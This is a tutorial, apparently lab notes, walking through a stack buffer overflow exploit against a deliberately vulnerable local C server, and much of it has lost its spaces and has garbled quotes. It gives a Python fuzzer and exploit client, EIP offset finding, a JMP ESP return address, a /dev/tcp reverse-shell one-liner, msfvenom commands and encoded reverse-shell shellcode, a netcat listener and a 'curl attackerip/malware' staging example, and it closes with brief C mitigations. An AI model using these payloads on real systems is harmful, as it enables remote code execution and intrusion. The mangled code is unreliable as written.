forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((101110167110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()FirstletrsquoscreatecopyoftheoriginalclientsourcecodecpclientpyclientPoCpyNowletrsquosmakethefollowingchangestoclientPoCpyhellip usrbinpythonimportsocketimportstructimportsysiflen(sysargv)=2printUsage+sysargv[0]+[port]sysexit(1)
MESSAGE=Awhilelen(MESSAGE)lt=1000000mayneedtobeincreasedbasedonyourtargetbuffersize
DEST_IP=127001hostyourvulnProgramsislisteningonDEST_PORT=int(sysargv[1])counter=100
MESSAGE+=(Acounter)increasingthefuzzpayloadofAscounter=counter+100100hereisarbitrarysmallerwillbemoreaccuratebuttakelonger
print(lengthoffuzzoverflowis)print(len(MESSAGE))Foreducationalpurposes
forstringinMESSAGE
defconvert(MESSAGE)raw=raw+=structpack(ltIlen(MESSAGE))Serverexpectsapre-fixtellingyouthebuffersizeraw+=MESSAGEreturnraw
print(convert(MESSAGE))testpurposess=socketsocket(socketAF_INETsocketSOCK_STREAM)sconnect((DEST_IPDEST_PORT))ssend(convert(MESSAGE))data=srecv(1024)
sclose()printReceiveddatadataLetrsquosrunthepythonclientpyscriptandthevulnerableCtcpserverWersquollseethatthepythonscriptwillactasexpectedandbeginiteratingthroughthewhileloopandincreasingthenumberofArsquosIrsquoveincludedaprint()soyoucanwatchtheArsquosgrowastheclientrunsIfyouruntheclientterminalandtheserverterminalsidebysideyoursquollbeabletocomparetheclientpayloadbeingsenttothepayloadbeingreceivedbythevulnerabletcpserver
HopefullyyouruntheattackagainstyoursquorevulnerabletcpserverwhileinEDBmodeYoursquollnoticeaSIGSEGVerroratbytelengthof1101ASIGSEV(segmentationfault)oraccessviolationisafaultorfailureconditionistypicallyraisedbyhardwareasamemoryprotectionmechanismwhenyourprogramattemptstoaccessamemorylocationthateitherdoesnotexistorthatyourprogramisnotallowedtoaccessInthiscaseweoverwroteourEIP(instructionpointer)withamemorylocationof0x4141414orinotherwordsfourArsquos
ThenextpartiscriticalandIoverlookeditthefirstfewtimesIwastryingtounderstandhowthestackbufferrelatestotheregistersAt1101bytestheprogramcrashesHoweverwedonrsquotknowhowfarintotheregisterwewroteourArsquosBecausethisisopensourcecodeweknowthatthebufferwas1024bytesandwewroteout1101bytessoitrsquoslikelyweoverwrite77bytesworthofspaceoverourregisters
WhydowecareWewanttomodifyourinstructionpointerorEIPinx86IfwecanpreciselyoverwriteEIPwiththememorylocationofourprogramthenwecantricktheCPUintoexecutingourmaliciouscodeToillustrateIdrewanXthroughthereturnarraybackintoourbeforebecauseweonlyhaveabunchofArsquosinthereLetrsquossaywewanttowrite4Brsquosinthe4bytespaceinthereturnpointerTheBrsquos(x42)arearbitraryandonlyusedtoillustratethepointIfwewanttowriteBrsquostoaspecificregisterthenweneedtofigureouttheexactnumberofbytestostopwritingArsquosandstartwritingBrsquosManualbinarytreeanalysisisthebestforabeginnerinmyopinionMainlybecauseyoursquollneedtomanuallyworkyourwaythroughthebytesizelengthsmakingeducatedguesseswhileatthesametimelookingattheregistersandldquovisualizingrdquohowitallworks
Soifwehaveacrashatletrsquossay1100WecansplitthenumberofArsquosandBrsquosinto550Doingthismanuallyjustforkickspython-cprintx41550+x42550
Letrsquosusetheoriginalclientpy(notthefuzzer)andreplacetheldquoHELLOrdquomessagewithournewbufferwejustcreatedRestartthevulnerabletcpapplicationinGDBandruntheclientpywithourAandBrsquosbufferPuttingtheapplicationside-by-sideweseethat1100byteweresenthalfAsandhalfBrsquosHoweverthistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithBrsquos(x42)
LetrsquostakeourfirstlookintotheregisterstoseewhatrsquosgoingonTypeldquoinfoall-registersrdquo
EachtimeyourunthroughthebinarytreecreatenewbuffermakesureyoulookintotheregistersTheoutputshowsusthatouroverflowisinourBrsquosbecauseweseex42hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway(-8Nowweneedtogofartherdownthebinarytreetofindtheexactlocationtowriteonly4bytesofBs(x42s)SowersquollmodifyourbuffertoincludesomeCrsquosWersquolldivide11003=andapproximate366+366+368python-cprintx41366+x42366+x43368
LetrsquosupdatetheoriginalclientpyscriptagainwithournewbufferandruntheattackagainstthevulnerableserverintheEDBBythewayIfoundVIMtobefarsuperiorforreplacinglargebuffersizewordsallatonceandnavigatingbackandforthtothebeginningandendofline(-8hellipafterfatthumbingitafewtimesweplacetheclientandtheserverside-by-sideandobservewhathappened
ThistimetheSIGSEGVshowsthatourinstructionpointerwasoverwrittenwithCrsquos(x43)TheoutputshowsusthatouroverflowisinourCrsquosbecauseweseex43hasoverwrittensomeofthedataregistersandthepointerregisters(X)isdataand(P)ispointerbytheway
WecansaytheresultsofthismakesensebecausewehavethesourcecodeWeknowthatthebufferisallocated1024bytesasapre-processorinstructionAtthispointourArsquosandBrsquosonlyequalatotalof366+366=732bytesNotenoughtooverflowthe1024butanother386isenoughtocrashintothestackrsquosregistersLetrsquoskeepgoingWersquolldividetheCrsquosupnextupdateourclientbufferandretesttheprograminEDBpython-cprintx41366+x42366+x43184+x44184ThistimeweseethefaultoccursintheDrsquoswichmeanswearegettingverycloseSincewersquoreontherighttrackandknowweneedtogetdownintoonly4bytesletrsquosbreaktheDrsquosdownfurther
python-cprintx41366+x42366+x43184+x4462+x4562+x4662
AtthispointIrsquomgettingtiredandthisisgettingoldbutweknowtheoverflowissomewhereinthelast62bytesSoletrsquospauseandaskourselveshowcouldwehavedonethisfasterWerememberouriteratorinthefuzzerTherewasareasonwhyIprintedthebytesizelengthtoscreenLetrsquosgobacktoapictureofourfuzzer
Sobetween1000and1100theoverflowoccursForfastresultswecouldrepeatthebinarytreeanalysiswhereonthelast100byteshellip
python-cprintx411000+x4225+x4325+x4425+x4525
That was much faster In one run we already know that the overflow falls somewhere within the Crsquos or x43s That could be anywhere
up to 1050 bytes This makes sense because we know our buffer is 1024 and we have an idea that there are some other registers that
mightgetoverwrittenbeforeourcodemakesitrsquoswaytotheinstructionpointerLetrsquosbreakdownthose25Crsquosinto8Crsquos8Drsquos9Ersquos
python-cprintx411000+x4225+x438+x448+x459
Now our fault occurs in our Ersquos or x45rsquos Simple math tells us that is somewhere between ~ 1040-1050 bytes and we know our registers
are4byteor32bitregistersthereforewecanbreakthatfinal9Ersquosinto4Ersquosand4Frsquosandseewhathappens
python-cprintx411000+x4225+x438+x448+x454+x464
Close 3 bytes of Ersquos or 3 x45rsquos but look closely one byte of D or x44 This means we need to subtract one D (x44) I feel like wersquore
onestepaway
python-cprintx411000+x4225+x438+x447+x454+x464
BoomThatrsquosit4bytesofErsquosor4x45rsquosLetrsquoscrackopenourregistersandconfirmthatwehavecontroloverourinstructionpointer
Okay so letrsquos recap You can save time during binary tree analysis if you print your fuzzerrsquos buffer to screen In this case we know the
crash occurred between 1000 and 1100 We also learned that our instruction pointer was well being overwritten with As We need to
find the exact location of the 4 byte EIP register because later we want to put a memory location of our ldquomalwarerdquo and tell the computer
to return to our malware in buffer If you noticed that the 44rsquos were at the end of EIP and not the beginning good catch This is because
Intel x86 is little endian meaning that the instructions are considered ldquobackwardsrdquo when provided to the CPU Basically it reads from
right-to-leftrelativetotheorderyousuppliedthedata
FindingInstructionPointerthefastway
Lucky for us there is a nice little program which helps us solve this problem much more quickly Unfortunately I found that when your
taught to use this program without learning the manual way then you may not understand what and why exactly you are using the
program
httpsgithubcomrapid7metasploit-frameworkblobmastertoolsexploitpattern_createrb
Soourfuzzertoldusthecrashhappenedatapproximately1100bytes
rootkali~locatepattern_createusrsharemetasploit-frameworktoolsexploitpattern_createrb
rootkali~usrsharemetasploit-frameworktoolsexploitpattern_createrb-l1100
This will create a pattern where each 4 bytes is a unique string Gosh I wish someone told me that You will paste the output from this
command into your clientpy buffer and overflow the program You will then receive a segmentation fault and go back into the registers
and find the unique 4 byte value in EIP Yoursquoll use a sister program which essentially counts the number of bytes in pattern_createrb
outputuntilitgetstotheunique4bytevaluethatwascopiedintoEIP
Example
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0
Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6
Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7
Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1
Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2
Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf
4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk
YoucanchecktheregistertoojusttoconfirmtheuniquefourbytestringthatwaswrittenintoEIP0x37694236
Then you use the sister program which is just going to count all the bytes in our unique buffer string up to the point of that 4 byte EIP
value
usrsharemetasploit-frameworktoolsexploitpattern_offsetrb-l1100-q37694236
Letrsquoscomparethe1040byteoffsetagainsttheoffsetwefoundmanuallyusingbinarytreeanalysis
python-cprintx411000+x4225+x438+x447+x454(EIP)+x4641000+25+8+7=1040NowweknowthatourbufferandregistersbeforeEIPisapproximately1040byteslongwhilethefollowing4byteswillbeourmemoryaddressthatreturnsusbackintoourbufferandeventuallyrunsourprogramsOnceagainIfoundthissillypicturenotonlyamusingbutthemostusefulIgnorethe500bytesizelengthandreplacethatwith1040forexample
Now we want to make a slight modification to the manual buffer we created previously by adding some x90 no operations commands
Wersquoll add exactly 1040 bytes of NOPS for now Take a second look at the illustration above and see that wersquore going to write out a
bunchofNOPSandeventuallyaddsomeldquomalwarerdquocode
python-cprintx901040+x454+x904
Letrsquosmodifyourclientpyscripttoadjustforthenew1040offsetandNOPs
Notice how similar the manual python script looks to the replaced MESSAGE variable value If this update works correctly wersquod expect
thatmemorylocationsbeforeEIPtobex90rsquosandwersquodexpecttoseethatEIPisx45454545
MESSAGE=x901040+x454+x901000
Run the vulnerable tcp server and clientpy side-by-side and yoursquoll find that the segmentation fault occurs at EIP with a value of exactly
x45454545
Now most importantly what do we put into the Instruction Pointer That depends on where your buffer of x90rsquos land To find our
NOPSletsruntheattackwiththefollowinglogicintheclientpy
MESSAGE=x901040+x454+x901000
Letrsquosswitchsomethingsupandtryanewdebuggerhellip
1 Server1337
2 Fromterminal2rarredb
3 FromedbUIrarrfilerarrattachrarrldquoServerrdquo
4 FromedbUIrarrfilerarrdebugrarrrunrarrrun(twiceorso)
5 UpdateyourclientPoCcode
6 pythonclientPoCpy1337
CodeChanges
malware=(x41100)
eip=x424
ending=x90200
nopsled=(x90(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
Welandsomex42rsquosperfectlyonEIPwhichmeansweadjustedforthebuffercorrectly
Right click in the registers and do a follow in memory dump In this case I clicked ESP and found some 90rsquos in the bottom left-hand
corner
Looking at our memory we see can see the 90rsquos we wrote before EIP we can see the x42 which is EIP and we can see that ESP points
to memory address bffff310 If we continue to scroll down into ESP we should find a bunch of Arsquos which symbolizes our malware At
memoryaddressbfff6a0wefindourArsquoswhichmightaswellbemalware
Nowthatweknowthex90rsquosfeednicelyintoourmalwarewewanttofindalocalstaticbinarywithanOPCODEthatallowsustojump
intoESPWersquollneedabinarythatisalreadyloadedintomemorythatgrantsourprogramreadpermissionFromtherewewillsearchfor
aJMPESPopcodetofindamemorylocationwiththatinstruction
1 runthevulnerableserver
2 startupedbdebuggerandattackthevulnerableserver
3 rightclickPluginsrarrOpsCodesearchrarrClickESPtoEIP
4 Manuallysearchthrougheachloadedbinaryandclicksearch
0xb7facf97 or x97xcfxfaxb7 is the memory location of the OPCODE instruction we need to insert into EIP in order to trick the CPU
tojumpintothememoryaddressheldatESPregisterandthenexecuteourmalwareinESPAsafriendlyreminder
So what do we want our malware to do For now letrsquos create a simple reverse shell back to a command and control server In the
futureIrsquollwriteapaperaboutacustompieceofmalwarejustforfun
Aboilerplateuniversalreverseshellonlinuxlooksliketheonebelow
binsh-igtampdevtcp12700144440gtamp1
Letrsquos test this out on a similar OS to the target server (as best we can) to make sure it will run correctly Wersquoll create a netcat listener in
one terminal listening on port 4444 and wersquoll execute the reverse shell from another terminal and attempt to connect to the listener It
lookslikethissimplereversebinshshellcommandwillworkonthetargetOS(mylocalhostlolz)
The next part that gets overlooked is the assembler encoding into machine op code Kali Linux and Metasploit have tools that generate
a bunch of shellcode for you but the details of the tools can be easily missed or misunderstood If your self-taught noob like myself and
not comp-sci person then itrsquos good we take a moment to cover this Even if you donrsquot fully understand it yoursquoll at least understand there
isanaddedlayerofcomplexity
LetrsquosrefertoourfriendwikipediaforhelphereIpersonallyconcatenateabunchofthistogetherbecauseIfounditusefulinmynotes
ldquoThe Netwide Assembler (NASM) is an assembler and disassembler for the Intel x86 architecture It can be used to write 16-bit 32-bit (IA-32) and 64-bit (x86-64) programs
NASM principally outputs object files which are generally not executable by themselves In computing object code or object module is the product of a compiler In a general
sense object code is a sequence of statements or instructions in a computer language usually a machine code language (ie binary) or an intermediate language such as
register transfer language (RTL) An assembler is used to convert assembly code into machine code (object code) An assembly language (or assembler language) often
abbreviated asm is any low-level programming language in which there is a very strong correspondence between the programs statements and the architectures machine
codeinstructionsrdquo
So when we put in x90x41x42 etc etc you might have noticed that the values stayed the same in memory and in the registers But
when we put in a bunch of Arsquos for some reason the EIP register spit out x41s Well when we performed ldquoinfo all-registersrdquo wersquore seeing
the HEX variant (x41x42x43) of the variables used in the CPUrsquos assembly language Thatrsquos part of the assembly language at work
helpingusgofromahigherlevellanguageinCtoalowerlevellanguagetotheCPUthatwedonrsquotunderstandlikebinary1rsquosand0rsquos
So when we write our malware to the registers it seems best to encode it into the assembly NASM HEX variant of the ASCI characters
commands because the assembly is already expecting that value in the register to execute when the function is called I canrsquot explain it
any deeper other than saying itrsquos ldquomagicrdquo All I know is that if you try to put human readable bash command syntax into a register the
registerdoesntknowwhattodowithitbecauseldquoitdoesntspeakthatlanguagerdquohellipyoufeelme(-8hellip
PutsimplyletrsquostakethecommandwearefamiliarwithinBASHandencodeitintosimpleHEXforillustrationhellip
binsh-igtampdevtcp12700144440gtamp1
encodesto
x2fx62x69x6ex2fx73x68x20x2dx69x20x3ex26x20x2fx64x65x76x2fx74x63x70x2fx31x32x37x2ex30x2ex30x2ex31x
2fx34x34x34x34x20x30x3ex26x31
Unfortunately the assembly still wont ldquounderstandrdquo what that HEX bash command means Largely because wersquore executing directly
from the stack and therefore we need x86 equivalent instructions However it does visually illustrate the point that wersquore taking a
simpleshellcommandandencodingitintoassemblyandwritingtheoutputinCHEX
To make this easier wersquoll use a tool from here on to help us translate a similar shell command like the one below into a lower level x86
encodedcommandthatthekernelcaninterpret
binsh-igtampdevtcp12700144440gtamp1
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
x86encodedShellCode
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx55x76xb6x29xf6x01
xd8x7dxf3xdcx9b
TheMSFVENOMtoolisextremelyfeaturerichItiseasytorunitblindlybasedonsomeblogortrainingcoursewithoutfully
understandingthedetailsbehindthepayloadsencodersandoutputUsingourexampleIrsquollgivea60secondbreakdownItrsquosreally
worthreadingthemanpageonmsfvenomtounderstandthearchitecturesandencoders
- p=payloadwherepayloadcouldbelowlevelassemblycompiledjavajspshellcommandscrossplatform
- shell_reversewheretheUnderscoremeansasinglestagedpayloadThismeanstheentireremotecodeexecutionoccursina
singlegoAlternativelyamulti-stagedpayloadmightinjectaldquodownloaderrdquothenrunthedownloadedagainsttheattackerrsquos
ldquoWebServerrdquotogetadditionalremotecodecommandexecutionThinkstage1ldquocurl-sattackeripmalwarerdquowhilestage2is
malwareldquobinsh-igtampdevtcp12700144440gtamp1rdquoorsometihngfarbiggerandmoreadvanced
- f=formathellipThatcanberawCJSPshelletcetc
- -eistheencoderinthiscaseforthex86architecturewersquoreworkingonbuttherearemanymanymore
- -baretheldquobadrdquocharactersIrsquoveincludedafewexampleshere
Wheredoweputourmalware
While writing these notes I first put the shell code at the beginning of the buffer before EIP Letrsquos think about this for a second in the
clientpyscriptputtingthemalwarebeforeEIPlookslikethis
NOPSLED+MALWARE+EIP(RETURNBEFOREMALWARE)+NOPS
Personally I found the first approach difficult for this C program because the NOPSLED overwrote 90rsquos to all my registers This is
important because I had no OP CODE which I could use to dynamically jump into the NOPSLED before the MALWARE I was left
manually searching for a memory address of my NOPSLED and hard coding the memory address into the program This is inferior
because you may want to test larger MALWARE which could overwrite your memory address or you may have a different memory
address when you run this exploit on a target system outside of your lab Once again hard coding the return point is bad and
unfortunatelytheNOPSLEDbeforeEIPdidntgivememuchtodynamicallyjumpinto
HoweverIdidfindthatputtingmymalwareafterEIPopenedsomenewdoorsThisapproachlooksclosertothesyntaxbelow
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
LikebeforewhenfindingJUMPESPyoucantestthisoutbygeneratingcodesimilartothecodebelow
malware=x41x30
eip=x97xcfxfaxb7
eip=x41x41x41x41
ending=x90200
nopsled=(x41(1000-len(malware)))
MESSAGE=x901040+eip+nopsled+malware+ending
After updating the code in the clientpy script go ahead and run the attack against the vulnerable server while in EDB debug mode Then
look into your register windows and try to ldquoFindrdquo any x90rsquos or if you used Arsquos x41rsquos If you find a register in my case ESP I overwrote
with a bunch of x41rsquos So instead of manually hard coded a memory location into the exploit I can now simply reference by ESP register
pointertojumpintothenopsled
One point here that was omitted online is the value of this In order to ldquoJumprdquo into all those ldquoArsquos you will need a librarydll with that
specific x86 operation code which your program has access to Letrsquos say Windows or Linux has a library with a JMP ESP command that
can program can call then your exploit becomes more portable because you can simply call that library Plus if you want to try out
bigger malware payloads you donrsquot have to go down into lower memory locations and hard code the new NOP location to ldquomake roomrdquo
for a bigger payload With memory protections enabled I suspect this becomes more complex but I think for now wersquoll go with the shell
codeaftertheEIPsowecanjumpintoESP
NOPS++EIP(JMPtoREGISTER)+NOPSLED+MALWARE+NOPS
BadCharactersinCustomMalwareIfyouweretoattempttofindyourownbufferoverflowinapieceofsoftwareandwriteyourownremotecodeexecutionorremotecommandexecutionyouwouldfindthatsomecharactersarereservedforpromotinglanguageandassemblerForexamplex00isusedforNULLpointterminationinCwhichindicatesanendofanarrayorbufferandtellsaprogramtostopatthepointitseesx00OtherlanguagesmayhavesimilarreservedtypeofcharactersyouwanttocommitAsanoverlysimplifiedexamplehellip
x86encodedShellCodewBadCharacters(Fornextsection)
xddxc4xb8xe3xb7xf6x55xd9x74x24xf4x5bx2bxc9xb1
x12x31x43x17x83xc3x04x03xa0xa4x14xa0x17x10x2f
xa8x04xe5x83x45xa8x60xc2x2axcaxbfx85xd8x4bxf0
xb9x13xebxb9xbcx52x83x46x3fxa5x52xd1x3dxa5x45
x7dxcbx44xd5x1bx9bxd7x46x57x18x51x89x5ax9fx33
x21x0bx8fxc0xd9xbbxe0x09x7bx00x00x55x76xb6x29xf6x01
xd8x7dxf3xdcx9bx00x00
Nowletrsquosupdateourclientpycodetoreflectthesechangesandincludethereverseshellpayloadwejustmade
UpdatedclientpyCodewiththeldquoBadCharactercoderdquo
Wersquore getting close to the moment of truth The expected behavior is when turn on another netcat listener on port 4444 and run the
clientpy the clientpy script will attack the vulnerable tcp server and write our malicious code into the vulnerable serverrsquos buffer and
overwrite EIP with a memory pointer that will tell the CPU to ldquogo backrdquo to our malicious command which will ultimately create a
connection back to the ldquoattackerrdquo on the listening 4444 port However because we have ldquoBad Charactersrdquo we know the connection
willfail
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
We notice that the attack fails because the connection back to our attacking machine (farthest right) does not respond to our ID or
WHOIScommandsLetrsquosinvestigate
1 RightclickEIPinRegisterWindowsrarrFollowinDump
2 ScrollaroundandfindthemalwareinbetweentheNOPSLEDandNOPending
3 Lookforx00commandsandtrytonoticeanythingorstrange
WhattheTargetMachineSees
Whatwesentover
We go through each HEX character one by one and notice if any original character from the client payload are omittedgoofed up etc
etc This is a slow and tedious part of the process and arguably the best opportunity to learn We see a whole string of characters does
not ldquomatchrdquo So what happened The bad characters are reserved for various operations and memory locations If you send an OP
CODE for example then the machine will just process it ldquoas isrdquo not knowing that the characters you sent are part of a specific sequence
of characters to form a command In an environment where you are trying to encode BASH command or x86 x64 you will run into
various characters that your malware payloads canrsquot use If you donrsquot spend the time checking the memory dump for bad
charactersthenyouwillhavemanysadandlonelyhoursbehindthekeyboard
So we have to generate a payload that can omit bad characters Luckily we have a program to help us generate x86 shellcode and
omitcharacters
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
TestingforbadcharactersisthebestwayforyoutolearnthedebuggerassemblyandHEXYoucandoitatleasttwowaysthatIknow
ofhellip
1 UseagiantblobofallASCIcharactersinHEX
2 Generateacouplesimplepayloadsyouwanttoexecuteandwalkthroughthepayloadlinebyline
Howtotestforbadcharactersandotherassemblyandregisterissues
Terminal1Server1337
Terminal2edb(orGDBIwonrsquotjudge)
fromedbrarrattachrarrServer
fromedbrarrdebugrarrclickrunrarrclickrunagainrarrlookatbottompainandseeiftheprogramisrunning
Terminal3ExecutetheclientscriptwithyourmaliciouspayloadpadwithArsquosorNOPSsoyoucanldquoFindrdquoyourcodequicklyinmemory
Yoursquollbelookingforx41orx90rsquos
Option1-AlltheASCII
x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10
x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20
x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30
x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40
x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50
x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60
x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70
x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80
x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90
x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0
xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0
xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0
xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0
xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0
xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexff
Option2-Testsomespecificcommands
msfvenom-plinuxx86shell_reverse_tcpLHOST=127001LPORT=4444-fcndashex86shikata_ga_nai-bx00x0ax0d
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
The-bx00x0ax0doptioninthecommandwillomitthex00rsquosfromtheoutputPreviouslyIpurposelyinsertedsomepeskyx00rsquosinto
thisshellcodeforillustrationTherealityisthatevenMSFVENOMmayoutputapayloadwithbadcharacterandyoustillneedtotest
Anothernoteisthattrytouseaverysimplepieceofmalwareforthefirstcodeexecution
ldquoThelargermoreadvancedthemalwareisinthebufferoverflowsthemorelikelyyouaretorunintobadcharacterandotherruntime
issuesitrsquosjustsimplemathhellipmorecharactersmorechancesforfailurerdquo
KeepitsimpleandsmallYoudonrsquotalwaysneedreverseshellsandmaybeyoucanrsquotuseareverseshellbecauseofbadcharactersor
hardeningRememberyoucanalwaysgetabiggerpayloadorbinarydowntothemachinewithasimpleTFTPGETCURLorECHO
commandLetrsquosruntheattackwiththebadcharactersomittedandseeifwecanlandashell
NewPayload
xdaxc2xb8x84x78xb5xb8xd9x74x24xf4x5fx2bxc9xb1
x12x31x47x17x03x47x17x83x6bx84x57x4dx42xaex6f
x4dxf7x13xc3xf8xf5x1ax02x4cx9fxd1x45x3ex06x5a
x7ax8cx38xd3xfcxf7x50x9bxfex07xa1x0bxfdx07xb0
x97x88xe9x02x41xdbxb8x31x3dxd8xb3x54x8cx5fx91
xfex61x4fx65x96x15xa0xa6x04x8fx37x5bx9ax1cxc1
x7dxaaxa8x1cxfd
Enablenetcatonport4444(nc-lvp4444)
TurnonthevulnerableserverinEDB(Server1337)andthenattachtheprogramtoEDB
Runtheupdatedclientpyscriptagainstthevulnerableserver(pythonclientpy1337)
WaitforthevictimmachinetoconnectbacktotheldquoAttackerrdquoonport4444
ClickldquoRunthroughprogramrdquobecauseyoumaybecaughtindebugmode
FinalResults
SuccessItlookslikethestackwasoverwrittenandwesuccessfullytoldEIPtopointintoourNOPSELDlocatedinESPFromthere
theCPUranthroughthememoryuntilitgotourmaliciouscodeThereverseshellcommandexecutedinthestackandconnectedback
toourldquoattackingrdquoterminal(farthestright)
CommonBufferOverflowExampleandMitigations(inC)
WhetheryourwritingsourceoryoujustreversedengineeredacompiledbinarywithGHIDRAyoumaywanttoknowwhichfunctionsare
morelikelytocauseanoverflowOlderClibraryfunctionslikestrcpy()strcat()sprintf()andvsprintf()operateonnullterminated
stringsandperformnoboundscheckingGets()isanotherfunctionthatreadsinput(intoabuffer)fromstdinuntilaterminatingnewline
orEOF(EndofFile)isfoundThescanf()familyoffunctionsalsomayresultinbufferoverflowsUsingstrncpy()strncat()snprintf()
andfgets()allmitigatethisproblembyspecifyingamaximumstringlengthofNHerersquosafewwelldocumentedexamplesIprovidedthe
assemblyinstructionstoillustratethatyoumightbeabletoreverseengineerwhereBOrsquospresentthemselvesfromobservingthe
registersofacompiledbinaryorreviewingtheoutputfromGHIDRA
gets
Thestdiogets()functiondoesnotcheckforbufferlengthandalwaysresultsinavulnerability
VulnerableCode(SOURCE)
printfexternallink(Inputsomethingnastyhere)
gets(something)
VulnerableCode(ASSEMBLY)
FixedCode
printfexternallink(Inputsomethingnastyhere)
fgets(usernameLENGTHstdin)
strcpy
Thestrcpybuilt-infunctiondoesnotnativelycheckbufferlengthsAsillustratedinourexampleiscanoverwritememoryzone
contiguoustomemorywherethepayloadisstored
VulnerableCode
charstr1[10]
charstr2[]=badstuffhere
strcpy(str1str2)
FixedCode(SOURCE)
enumBUFFER_LIMIT=1024
intmain()
chardst[BUFFER_LIMIT]
charsrc[]=badstuffhere
intbuffer_length=strlcpy(dstsrcBUFFER_LIMIT)
if(buffer_lengthgt=BUFFER_LIMIT)
printfexternallink(Stoptryingtooverflowmybufferd(disthelengthn
buffer_lengthBUFFER_LIMIT-1)
VulnerableCode(ASSEMBLY)
